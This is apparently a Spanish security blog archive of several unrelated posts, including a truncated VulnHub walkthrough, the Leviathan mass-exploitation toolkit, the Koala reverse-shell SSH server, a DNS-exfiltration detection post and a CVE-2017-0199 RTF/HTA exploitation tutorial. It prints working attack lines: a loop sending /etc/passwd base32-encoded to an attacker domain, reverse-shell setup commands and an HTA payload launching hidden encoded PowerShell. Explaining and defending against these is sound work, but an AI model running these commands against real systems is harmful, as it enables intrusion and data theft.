Recientemente han publicado nuevas máquinas vulnerables en VulnHub, una nueva oportunidad para enfrentarnos a nuevos y diferentes labs y de forma totalmente gratuita. Hoy vamos a ver cómo resolver una de ellas, concretamente billu:b0x de Team Indishell (@IndiShell1046), así que si seguís leyendo os encontraréis con spoilers, avisados estáis... ;)

Empezamos con el típico escaneo de puertos mediante nmap para descubrir los puertos y servicios corriendo en la VM:

nmap -T4 -A -v -p- 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.00030s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 0.020 days (since Thu Apr 27 18:09:17 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Al acceder a la aplicación web vemos que van a poner a prueba nuestras habilidades para encontrar una inyección SQL:

http://192.168.1.22/


Leviathan Framework, desencadenando a la bestia

Muchos de nosotros hemos auditado servidores de todos los colores, de todo tipo de sistemas operativos, de todo tipo de características, con diferentes puertos abiertos, con diferentes aplicaciones ejecutándose en cada puerto...

Si es verdad que cada servidor es un mundo diferente, cada servidor tiene algo diferente al resto, como los humanos que los programan, por ello siempre hay que cogerlos a cada uno con pinzas por partes diferentes, cómo no, refiriéndome a la hora de vulnerarlos.
Pero también es normal encontrar agujeros comunes en varios servidores, ya sea porque tienen corriendo una aplicación o sistema operativo vulnerable por diferentes motivos, como tenerlo desactualizado, o por descubrimientos muy recientes como ocurrió el día que Vicente publicó la vulnerabilidad crítica de Apache Struts (CVE-2017-5638) por este blog, las cuales alarman a los sysadmins y les "obligan" casi a ir corriendo a sus máquinas para actualizarlas.

Al hilo de ésto, hay que mencionar a las personas que no se encargan de auditar un único servidor específico, hay personas que por diversas razones se dedican a auditar máquinas masivamente, y cuando digo masivamente hablo de cientos y miles de máquinas. Mediante automatizaciones buscan máquinas en Internet (por ejemplo a través de Shodan.io gracias a su API) para también analizarlas automaticamente con escáneres masivos.
Todo ésto nos proporciona una gran información de los servidores, que podremos usar para análisis, estadísticas... y, por supuesto, también para explotarlos masivamente, que es de lo que vengo a hablaros hoy.

Hoy os traigo una herramienta, escrita de Python 2.7 por investigadores turcos, que nos ayudará a realizar todo lo anteriormente mencionado: Leviathan Framework.

Esta aplicación es un conjunto de herramientas orientadas a la auditoría masiva la cual tiene módulos para el descubrimientos de objetivos, fuerza bruta, detección de inyecciones SQL y la ejecución de exploits personalizados. Para ello utiliza otras aplicaciones de software libre como masscan, ncrack y dsss, dándonos la posibilidad de combinarlas entre ellas.

Sus aplicaciones principales son:
  • Descubrir: analiza servicios FTP, SSH, Telnet, RDP, MYSQL... que están siendo ejecutados en las máquinas entre un rango de IPs de un país gracias a Shodan y a Censys. Tambien viene con el escáner Masscan integrado para un análisis de puertos TCP más rápido y eficiente. 
          Demo: https://asciinema.org/a/617bsxl1y84bav9f5bcwllx7r
  • Fuerza bruta (Brute force): gracias a la herramienta ncrack integrada en Leviathan, se pueden realizar ataques de fuerza bruta a diversos servicios del servidor. 
          Demo: https://asciinema.org/a/43y2j38zu7hbnuahrj233d5r0
  • Ejecucion remota de codigo (RCE): es posible ejecutar comandos en las maquinas comprometidas. 
          Demo: https://asciinema.org/a/0xcrhd12f2lpkbktjldwtab16
  • Escaner de inyecciones SQL: permite analizar posibles vulnerabilidades SQLi en una determinada extensión de un país o con dorks de Google personalizados. Todo ello gracias a la herramienta DSSS (Damn Small SQLi Scanner)
          Demo: https://asciinema.org/a/2mwfmd9afsuyg5p0vzcq5e6si
  • Explotación de vulnerabilidades específicas: descubre objetivos vulnerables con Shodan, Censys o masscan para explotarlos con tus propios exploits o con exploits ya integrados. 
          Demo: https://asciinema.org/a/9uqsjvnru780h0ue6ok9j9ktb 

Para su instalación debemos seguir los siguientes pasos:
  1.  Descargaremos con git clone https://github.com/leviathan-framework/leviathan.git.
  2.  Accedemos a la carpeta con cd leviathan-master
  3.  Instalamos los requisitos con pip install -r requirements.txt.
  4.  Y ya podremos ejecutar la aplicación con  python leviathan.py.
┌─[root@parrot]─[/home/alejandro/Desktop/leviathan-master]
└──╼ #python leviathan.py 


 ▓▓▀▀▓█▀ ▌█▓▓▓▓▓
 ██         ▓▓▓▓    ▓                  █          ▓    ▌
            ▓▓▓▌    ▓  ██▀▀▓█ ▓     ██ ▓  ██▀▀█▓ ▓▓█▓─ ▓█▀▀██  ╓██▀██▄ ███▀▀▓▓
      ▐▌ ▓▓▌ ▓▓     ▓ █▌    █▄ ▓   ╒▌  ▓       ▓  █    ▌    ▐▓ ╙     ▌ █▄    ▓
       ▀▓▓▓▓▓▓─     ▓ █▓▀▀▀▀▀   ▓  ▓   ▓ ╒█▌▀▀▀▓  █    ▌    ▐▓ ▓█▀▀▀█▌ █▄    ▓
       ▓▓▓▓▓▀       ▓ ▀▓    ▓    ▌▓    ▓ ▀▓    ▓  █    ▌    ▐▓ ▓    ▓▌ █▄    ▓
      ▀▓▓▓▓▀        ▀   ▀▌▌▀     └     ▀   ▀▌▀─╙   ▀▌           ╙▀▌▀ └
        █─

[---]       Leviathan, wide range mass audit toolkit. | version: 0.1        [---]
[---]                                                                       [---]
[---]               Created by Ozge Barbaros & Utku Sen                     [---]
[---] ozgebarbaros.com | twitter.com/ozgebarbaros | github.com/ozgebarbaros [---]
[---]      utkusen.com | twitter.com/utku1337 | github.com/utkusen          [---]
[---]                                                                       [---]
[---]                      May 2017, Istanbul                               [---]


LEGAL WARNING: While this may be helpful for some, there are significant risks.
You could go to jail on obstruction of justice charges just for running leviathan,
even though you are innocent. Your are on notice, that using this tool outside your
"own" environment is considered malicious and is against the law. Use with caution.
    


Select from the menu:

1)Discovery
2)Attack
3)Assets
4)Configuration
9)Back
0)Exit


    
>>

Repositorio de Github con 5000 millones de contraseñas reales ordenadas por popularidad

Ben aka berzerk0 ha publicado un repositorio en Github que seguro hará las delicias de todo aquel que quiera hacer un ataque de fuerza bruta o, mejor dicho, de diccionario para obtener una contraseña. Efectivamente, se trata de diccionarios pero, ¿qué tienen de especial? Pues que son bastante extensos y ordena las contraseñas por uso o más probables...

Normalmente podemos encontrar algunas listas con contraseñas ordenadas por popularidad, pero el problema es que la gran mayoría de las listas, especialmente las listas más grandes, son ordenados alfabéticamente. Evidentemente esto no es muy práctico. Si asumimos que la contraseña más común es "password" y estamos realizando un ataque de diccionario usando uno en inglés, vamos a tener que empezar con "aardvark" y pasar por "passover" para llegar a "password". "Aardvark" no parece una contraseña que elija mucha gente por lo que podríamos estar perdiendo mucho tiempo al no comenzar el ataque con la contraseña más común en nuestra lista!

Para crear los diccionarios, Ben fue a SecLists, Weakpass y Hashes.org y descargó casi todas las listas de palabras que contenían contraseñas reales. Estas listas eran enormes y terminó con más de 80GB reales, con contraseñas utilizadas y generadas por personas. Luego dividió los diccionarios entre más de 350 archivos de longitud variable, tipo de clasificación u orden, codificación de caracteres, origen y otras propiedades. Ordenó esos archivos, eliminó los duplicados de los propios archivos y juntó todos.

Si encontraba una contraseña en varios archivos, consideraba que era una aproximación de su popularidad. Si encontraba una entrada en 5 archivos, no era demasiado popular. Si una entrada se podía encontrar en 300 archivos, era muy popular. Usando comandos de Unix, concatenó todos los archivos en un archivo gigante que contenía 4 mil millones de claves usados en distintos sitios de la web, y los ordenó por el número de apariciones en el archivo único. Con esto, pudo crear una lista de palabras muy grande clasificada por popularidad, no por orden alfabético.

El resultado, este "peazo" de repositorio de 24GB indispensable para cualquier cracker al uso:

https://github.com/berzerk0/Probable-Wordlists

Segunda edición de EastMadH4ck (27 y 28 de mayo)

Esta entrada está dedicada a EastMadHack, una nueva organización cuyo fin es la de formar y formarse por y entre profesionales. Se trata de una asociación de reciente creación que acoge tanto a profesionales de la seguridad informática como a desarrolladores de software.

El año pasado se celebró la primera edición de su evento donde se trataron, de una manera cercana, los temas de actualidad en el mundo de la seguridad y el desarrollo. Con ponencias como la de Javier Cuenca, David Marugán, Enrique Serrano, Ángel-Pablo Avilés, etc… que dieron un alto nivel técnico, partiendo desde los niveles más bajos. Se realizaron demostraciones en vivo y con un trato cercano que hicieron que los charla-talleres fueran muy amenos.

Este año vuelven mucho más fuertes, los días 27 y 28 de mayo (sábado y domingo respectivamente) en el Auditorio Montserrat Caballé, situado en la calle del Mar de Alborán, 1 28500 Arganda del rey, Madrid.


En esta edición, a diferencia de la pasada, se realizará todo en un solo fin de semana durante dos días consecutivos. Cada jornada se llevará a cabo desde las 10:00 hasta 20:00h (GMT +1) que se dividirán en dos tracks, uno que agrupará principalmente ponencias y otro mixto en el que se verán proyecciones, ponencias y se realizarán talleres.

Esta edición no solo nos trae muchos mas ponentes, sino además los talleres. Sin olvidarnos de que comenzamos a ubicarnos en el mapa de las CON y que comenzamos a poner foco en esta zona geográfica de Madrid.

El enlace de la agenda es:
http://eastmadhack.org/eastmadhack-2017/agenda-27-mayo/

El coste de las 150 primeras entradas es de 10,75€ y el de las 200 restantes (que se pondrán a la venta al agotar las 150 primeras) será de 15,75€. Dicho importe irá destinado principalmente a los gastos que genera el propio evento, como pueda ser la pegatina y camiseta incluidas con la entrada, los flyers, la cartelería, las acreditaciones de los ponentes…

Las entradas están disponibles en la siguiente URL:
https://www.ticketbase.com/events/eastmadhack-2017

Esperamos a todo el mundo en el evento!

Un saludo!

Koala: un servidor Dropbear modificado para obtener una shell inversa por SSH

Koala es una versión "parcheada" del servidor SSH Dropbear que, en lugar de abrir un puerto y dejarlo a la escucha, lo que hace es abrir una shell inversa conectándose a un cliente remoto.

Esto es muy útil para conseguir una terminal pty en una máquina comprometida y también para la exfiltración segura de datos a través de un reenvío de puertos SSH (port forwarding SSH). También se puede pivotar mediante el port forwading dinámico por SSH.

Instalación:

git clone https://github.com/mrschyte/pentestkoala.git

cd pentesterkoala

./configure

vi options.h (configurar las opciones deseadas)

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install


Uso (paso a paso)

1.- ATACANTE

# ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000



2.- SERVIDOR COMPROMETIDO

# dropbear -p 192.168.1.180:5000
root@WEBBS:/home/vmotos/tools/pentestkoala# [1226] Apr 24 01:00:00 Child connection from 192.168.1.180:5000



3.- ATACANTE

...
Ncat: Connection from 192.168.1.180.
Ncat: Connection from 192.168.1.180:45733.
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

# ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999
Warning: Permanently added '[localhost]:9999' (ECDSA) to the list of known hosts.


The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@kali:~# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux


(4.- SERVIDOR COMPROMETIDO)

# [6381] Apr 24 11:14:47 Generated hostkey fingerprint is md5 ef:23:bc:62:05:59:3e:e7:5f:e2:e6:05:3c:32:b0:a6

Fuente: https://github.com/mrschyte/pentestkoala/

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Hoy leía en el blog de Sans una breve pero interesante entrada de Xavier Mertens que reseñaba la importancia de revisar la longitud de las consultas DNS en la red para detectar actividad maliciosa.

A estas alturas, todos sabemos que el servicio DNS se puede utilizar de varias maneras para evitar los controles de seguridad perimetral. El túnel DNS es ya una forma muy extendida de establecer conexiones con sistemas remotos (casi siempre con la intención de obtener una shell inversa y/o exfiltrar datos) y normalmente se basa en registros "TXT" utilizados para entregar el payload codificado.

Demasiadas solicitudes TXT DNS suelen apuntar a que algo extraño está sucediendo en la red, pero el "blue team" ha de tener cuidado para no darse de bruces ante la detección un buen número de falsos positivos porque los registros "TXT" también se utilizan con buenos propósitos, como el envío de registros SPF.

Adicionalmente, en lugar de utilizar registros TXT, la exfiltración de datos puede ocurrir directamente a través de resoluciones simples de FQDN ("Fully Qualified Domain Name"). El RFC 1035 establece que una longitud de consulta DNS es de 255 caracteres en total con cada subdominio de 63 caracteres o menos. Mediante el uso de Base32, podemos codificar nuestros datos en cadenas compatibles con los requisitos de DNS: "A-Z", "0-9" y "-".

Es fácil exfiltrar un archivo con el siguiente comando shell. Por ejemplo, podemos codificar un archivo (por ejemplo /etc/passwd) y generar varias solicitudes DNS a un dominio controlado por el atacante:
$ cat /etc/passwd | base32 -w 63 | while read L

do
  dig $L.data.rootshell.be @192.168.254.8
done

Ten en cuenta que el parámetro '-w 63' hace que la codificación respete el RFC. En el lado del atacante se verá llegar las siguientes peticiones:
$ grep 'data.rootshell.be' queries.log

20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)

...

Para decodificarlo, simplemente se puede lanzar el comando:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

Y tampoco hace falta tener levantado un servidor DNS, basta con esnifar el tráfico entrante:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

...

No obstante, incluso hay que tener especialmente cuidado para detectar peticiones de resolución de nombres tan largos porque algunas CDNs utilizan peticiones también bastantes largas para identificar archivos, por ej.:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

¿La solución para una buena defensa? Para reducir el riesgo de falsos positivos hay que combinar varios controles como el volumen de tráfico por IP y por subdominios, la longitud de las peticiones DNS, el patrón y formato de las peticiones DNS y la repetición del destino de las peticiones (probable C2). Además de varias medidas como la creación de listas blancas y, quizás lo más efectivo, limitar el "horizonte" DNS (que sólo pueda resolver nombres de Internet un proxy).

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Canal encubierto entre dos VM usando el caché compartido de la CPU

Un grupo de investigadores ha demostrado que puede extraer información de una máquina virtual de Amazon Web Services a través de la memoria caché de una CPU que comparte con otras VM en la nube.

Un documento titulado (traducido) "Hola desde el otro lado: SSH sobre los canales encubiertos del robusto caché en la nube (PDF)" explica los retos de la extracción de datos de caché de la CPU, un recurso muy usado en el que el sistema operativo, el hipervisor y las aplicaciones llevan a cabo operaciones frecuentes. Toda esa actividad hace mucho ruido, desafiando los intentos de crear un canal de comunicaciones persistente.

Hasta ahora, como afirman los investigadores, han construido "un canal encubierto de alto rendimiento que puede mantener velocidades de transmisión de más de 45 Kbps en Amazon EC2". Incluso lo han cifrado: la técnica establece una red TCP dentro de la caché y transmite datos usando SSH.

Los resultados son impresionantes, recientemente en la Black Hat Asia se dio una charla en la que se detalló su trabajo y se demostró incluso cómo transmitir video de VM a VM usando la memoria caché de un host.

El paper explica que este material no es totalmente nuevo, pero hasta ahora no ha sido totalmente exitoso porque se ha asumido que "el código de corrección de errores se puede aplicar directamente, y la suposición de que el ruido efectivamente elimina los canales encubiertos".

Los autores derriban ambos argumentos, el primero por encontrar una manera de manejar los errores y el segundo con la creación de un método efectivo de programación de la comunicación entre dos máquinas virtuales.

El documento detalla estos esfuerzos que denomina "Cache-based Jamming Agreement" y ofrecen el código en GitHub para que quién quiera pueda construir su propio canal encubierto en caché, ya sea en el local o en la nube.

Conseguir esto en la nube no es trivial, porque primero se debe averiguar cómo obtener dos máquinas virtuales que se ejecutan en el mismo host, aunque un documento de 2015 titulado "A Placement Vulnerability Study en Multi-Tenant Public Clouds" encontró que es posible en Amazon, Google y Azure y es citado por los autores del paper.

Digamos que este ataque puede parece un poco "exótico", pero también demuestra por qué muchos usuarios están dispuestos a pagar por tener las instancias dedicadas en su nube. También podemos ver que el multi-tenancy todavía tiene un largo camino por recorrer.

Fuente: Researchers steal data from CPU cache shared by two VMs

Explotación práctica de CVE-2017-0199 (Windows RTF RCE)

Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…

Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.

Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE

Echémosle un vistazo a cómo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="hxxp://www.w3.org/1999/xhtml"> 

  <head> 

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <title>Bonjour
    </title> 

    <script language="VBScript"> 
      Set owFrClN0giJ = CreateObject("Wscript.Shell") 
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") 
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then 

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" 
      End If

    </script> 
    <hta:application 

                     id="oHTA" 
                     applicationname="Bonjour" 
                     application="yes" 
                     > 

    </hta:application> 
  </head> 
  <div> 

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> 

    </object>
  </div>   
  <body> 
  </body> 
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)

Shadow Brokers libera más exploits que ponen en riesgo a los equipos Windows que no hayan sido recientemente actualizados

El 8 de enero Shadow Brokers puso a subasta una lista de exploits que robó a Equation Group ("aka NSA").
El pasado Viernes Santo/14 de abril, y más de tres meses después, el enigmático Grupo ha liberado más exploits, algunos como Fuzzbunch y DanderSpritz que ya anunciaron, otros 0-days para explotar Microsoft Windows, y también para otras vulnerabilidades en Lotus Domino y SWIFT.

El volcado contiene tres directorios llamados Windows, Swift y OddJob. La carpeta de Windows contiene varias herramientas para explotar Windows, OddJob contiene un implant que puede ser instalado en sistemas operativos Windows (aunque los detalles son escasos en este momento) y el directorio SWIFT contiene secuencias de comandos SQL que buscan datos específicos de SWIFT dentro de bases de datos, y archivos de texto y Excel como el de la imagen que demuestran que Equation Group había hackeado y obtenido acceso a varios bancos en todo el mundo.

Microsoft ya ha movido ficha (¿avisados por quién?) emitiendo un comunicado en el que afirma que todas las vulnerabilidades han sido previamente parcheadas, lo cuál no quita que haya material suficiente para alimentar cualquier arsenal con estos exploits y herramientas para comprometer las desactualizadas máquinas de las siempre incautas víctimas:

- Repositorio en Github con el leak: https://github.com/misterch0c/shadowbroker/

Saeta de Semana Santa... La muerte de la "scene"

No sé si con el paso de los años me estoy volviendo blando, o que cada vez leer noticias de seguridad se me hace mas pesado (lo cierto es que hoy soy el riñón astío de Jack). Antes abordaba esta tarea como algo natural, algo entusiasmante; podías encontrar cualquier cosa... meterse en un foro "hacker" era emocionante, trepidante, incluso rayaba en la ilegalidad.

Hoy por hoy solo encuentras Ingenieros (cosa que no es mala)...XD... pero a muchos les podríamos quitar sin dilación la raíz latina de "genium" y les podríamos poner cualquier otra y daría igual o. lo que es peor, solo encuentras intereses, balances, activos y demás lindezas.

Los e-zines han dado paso a las "macro charlas de seguridad" financiadas por los gigantes de las telecomunicaciones, y presididas por los cuerpos de seguridad (que antes te miraban con cara rara y como te descuidaras te financiaban un buen par de .....). La palabra hacker ha dado paso a "consultor de seguridad", cosa que profesionalmente mirado, no es nada malo... pero señores es muy aburrido.

No sé si la scene con la incursión reclutatoria de la empresa privada se está volviendo algo tremendamente soporífero, o por consecuencia era la senda evolutiva, pero lo fijo es que pierde frescura a marchas forzadas.

Ya solo quedan o chicos muy malos (los cuales aun me sorprenden) o chicos muy buenos. A riesgo de la crucifixión (muy acorde con las fechas) os dejo estos pobres pensamientos para la reflexión, pero si al poneros al frente de vuestro ordenador a las 2 de la mañana ya no os resulta tan trepidante como en aquellos años... DEBERÍAIS VER MENOS LA TELE... o quizás y solo quizás la crisis, la necesidad o las imágenes idealizadas de lo que nos meten por los ojos de lo que es el triunfo nos haga perder el horizonte y tengamos menos reparos al vender nuestro culo.

Recopilado de Inet:

"Nicholas Allegra (Comex) - De JailbreakMe a becario de Apple"

A este joven de 19 años de Nueva York, se le metió entre ceja y ceja romper la seguridad que Apple impone al iOS del iPhone y el iPad. El objetivo era simple: Comex, como se le conoce en Internet, quería desarrollar e instalar sus propias aplicaciones sin tener que pasar por el control del sistema operativo. El resultado fue el código de JailbreakMe, que posibilita al usuario instalar sus propias aplicaciones y extensiones sin necesidad de pasar por el AppStore, e incluso permite revertir el proceso utilizando iTunes.
Adueñarse del control del dispositivo no es en realidad ilegal, pero sí provoca la pérdida de la garantía de Apple sobre el producto. Además, el agujero de seguridad podría ser aprovechado por otros desarrolladores con peores intenciones. De ahí que Apple tardara poco más de una semana en parchear el sistema. No obstante hoy la noticia es que Comex pasará a ser empleado de Apple, la misma empresa a la que ha hackeado.